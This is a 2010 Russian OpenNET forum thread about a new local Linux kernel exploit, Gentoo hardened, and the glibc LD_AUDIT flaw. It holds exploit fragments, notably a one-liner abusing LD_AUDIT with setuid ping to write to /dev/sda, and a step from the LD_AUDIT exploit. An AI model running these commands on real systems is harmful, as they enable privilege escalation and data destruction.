The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы [ Отслеживать ]

Оглавление

Представлен новый способ локальной эксплуатации Linux-ядра, opennews (?), 08-Дек-10, (0) [смотреть все]

Сообщения [Сортировка по времени | RSS]


9. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от daevy (ok), 08-Дек-10, 17:22 
$ ./exploit
[*] Failed to open file descriptors.
$ uname -a
Linux deceiver 2.6.35-gentoo-r8 #2 SMP Tue Nov 23 14:15:10 YEKT 2010 x86_64 Intel(R) Core(TM)2 Duo CPU E7500 @ 2.93GHz GenuineIntel GNU/Linux

опять чото не работает.

Ответить | Правка | Наверх | Cообщить модератору

25. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от Xaionaro (ok), 08-Дек-10, 18:21 
Заставьте работать:
        pipe(fildes);
        fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
        fildes[3] = open("/dev/zero", O_RDONLY);
econet подгружен?

Вообще, вроде ж Gentoo используйте. Не позорились бы ;)

Ответить | Правка | Наверх | Cообщить модератору

52. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от bircoph (?), 08-Дек-10, 22:07 
Привет,

а вот у меня в ядрах и -fstack-protector-all
# CONFIG_ECONET is not set

мне теперь всё пересобирать, чтоб эксплойт запустить? :3

Ответить | Правка | Наверх | Cообщить модератору

98. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от Xaionaro (ok), 02-Фев-11, 10:50 
> Привет,
> а вот у меня в ядрах и -fstack-protector-all
> # CONFIG_ECONET is not set
> мне теперь всё пересобирать, чтоб эксплойт запустить? :3

Как хочешь. Но обвинять эксплойт в неработоспособности, если небыли предоставлены необходимые для его работы условия (в соответствии с его назначением) - глуповато, IMHO.

Ответить | Правка | Наверх | Cообщить модератору

89. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от Wormik (ok), 09-Дек-10, 21:26 
> Заставьте работать:
>         pipe(fildes);
>         fildes[2] = socket(PF_ECONET, SOCK_DGRAM,
> 0);
>         fildes[3] = open("/dev/zero", O_RDONLY);
> econet подгружен?
> Вообще, вроде ж Gentoo используйте. Не позорились бы ;)

Использую Gentoo 5 лет. Ни разу не открывал исходный код в редакторах, как и не накладывал сам патчи.

Ответить | Правка | К родителю #25 | Наверх | Cообщить модератору

35. "Представлен новый эксплойт для Linux-ядра"  –4 +/
Сообщение от Аноним (-), 08-Дек-10, 20:06 
Gentoo просто для поднятия ЧСВ что ли используйте?
Ответить | Правка | К родителю #9 | Наверх | Cообщить модератору

74. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от daevy (ok), 09-Дек-10, 13:33 
+ возможность самому написать сценарии сборки для свежего ПО недожидаясь когда оно появится в репах и оверлеях
+ paludis в качестве пакет.менеджера, очень гибок, другие менеджеры что я использовал меня не впечатлили
+ различные сборки ядер, особенно харденед, есть конечно падение производительности, но по крайне мере можно не ссать кипятком, когда выходят дыры аналогичные дырам в glibc
+ да и как то исторически сложилось так...

p.s. толсто

Ответить | Правка | Наверх | Cообщить модератору

76. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от коксюзер (?), 09-Дек-10, 13:51 
> по крайне мере можно не ссать кипятком, когда выходят дыры аналогичные
> дырам в glibc

Внезапно: hardened был подвержен уязвимости при обработке LD_AUDIT в glibc. И уязвимость эту (вторую) "не могли" закрыть около двух недель.

Ответить | Правка | Наверх | Cообщить модератору

81. "Представлен новый эксплойт для Linux-ядра"  –1 +/
Сообщение от daevy (ok), 09-Дек-10, 16:34 
собранный с use hardened? наверно я что-то пропустил, видел инфу только про обычный glibc-2.11.2, если не затруднит скиньте ссылку пожалуйста
Ответить | Правка | Наверх | Cообщить модератору

83. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от коксюзер (?), 09-Дек-10, 18:19 
Я не видел линков, где что-то конкретное говорится на тему (не)уязвимости glibc[hardened]. Можете поставить glibc в чруте из старых ебилдов и проверить сами: http://sources.gentoo.org/cgi-bin/viewvc.cgi/gentoo-x86/sys-...

Portage не даст продаунгрейдить glibc, смените версию в имени ебилда на *-r4. Уязвимые версии, включительно: с 2.11.2 по 2.11.2-r2 (сам проверял на hardened) и 2.12.1 по 2.12.1-r2 (не проверял). А USE=hardened добавляет только патчи совместимости с hardened-тулчейном. Ничего против таких уязвимостей там нет.

Ответить | Правка | Наверх | Cообщить модератору

84. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от taaroa (ok), 09-Дек-10, 18:37 
https://bugs.gentoo.org/show_bug.cgi?id=341755#c24 <- этого достаточно?
https://bugs.gentoo.org/show_bug.cgi?id=342619 <- отклонили без комментариев.
p.s. у меня на тестовой машине также сработало, правда rbac отключить пришлось. таким образом, use="hardened" не спасает.
Ответить | Правка | К родителю #81 | Наверх | Cообщить модератору

85. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от taaroa (ok), 09-Дек-10, 19:33 
ах да, запускать примерно так:

umask 0 ; LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/dev/sda" ping

Ответить | Правка | К родителю #81 | Наверх | Cообщить модератору

90. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от daevy (ok), 10-Дек-10, 08:08 
спасибо за ликбез, буду внимательней))
Ответить | Правка | Наверх | Cообщить модератору

91. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от daevy (ok), 10-Дек-10, 08:53 
решил воспроизвести, и получаю при
$ exec 3< /tmp/exploit/target
bash: /tmp/exploit/target: Permission denied

а раньше получалось... есть идеи? тачка тестовая необновленная точно.
glibc-2.11.2
bash-4.0.37(2)

Ответить | Правка | К родителю #85 | Наверх | Cообщить модератору

77. "Представлен новый эксплойт для Linux-ядра"  –1 +/
Сообщение от PereresusNeVlezaetBuggyemail (ok), 09-Дек-10, 13:54 
> + возможность самому написать сценарии сборки для свежего ПО недожидаясь когда оно
> появится в репах и оверлеях

Любая система портов это позволяет. Просто делаете свой репозиторий, или просто порт, или где как оно называется.

> + paludis в качестве пакет.менеджера, очень гибок, другие менеджеры что я использовал
> меня не впечатлили

Чем гибок? Какие практические проблемы, существующие не только в рамках Gentoo, решает эта гибкость? Я серьёзно.

Ответить | Правка | К родителю #74 | Наверх | Cообщить модератору

79. "Представлен новый эксплойт для Linux-ядра"  +/
Сообщение от daevy (ok), 09-Дек-10, 14:55 
>Чем гибок? Какие практические проблемы, существующие не только в рамках Gentoo, решает эта гибкость? Я серьёзно

1. слоты, сравнивая с убунту-менеджером, недавно понадобилось поставить postgresql-9.0.1 по соседству с 8.4, апт же предлагал мне обновить 8.4 до 9.0... может я каких то ключей просто не знаю?? (это есть и в emerge)
2. scm-packages, подержка нетолько бинарных пакетов в репозиториях, примером являются различные проекты на git,svn и т.д. то есть стягивается оттуда и ставится, очень полезно если хочется поездить на альфах и поглядеть новые функции :)
3. расширенная обработка зависимостей... буквально на днях, нужно поставить какойто мелкий пакет на относительно устаревшей системе, так вот по умолчанию пакет предлагал обновить зависмости до gcc-4.4.4 + glibc-2.12. + еще кучу всего, так вот, есть параметр который позволяет забить на зависимости и установить только этот пакет...
4. шустрее чем emerge при подсчете зависимостей

ну это так что первое вспомнилось))) а вобще если есть интерес то вот http://paludis.pioto.org//overview/features.html, если нет интереса и хочется потрындеть, то у меня закончился рабочий день))

Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру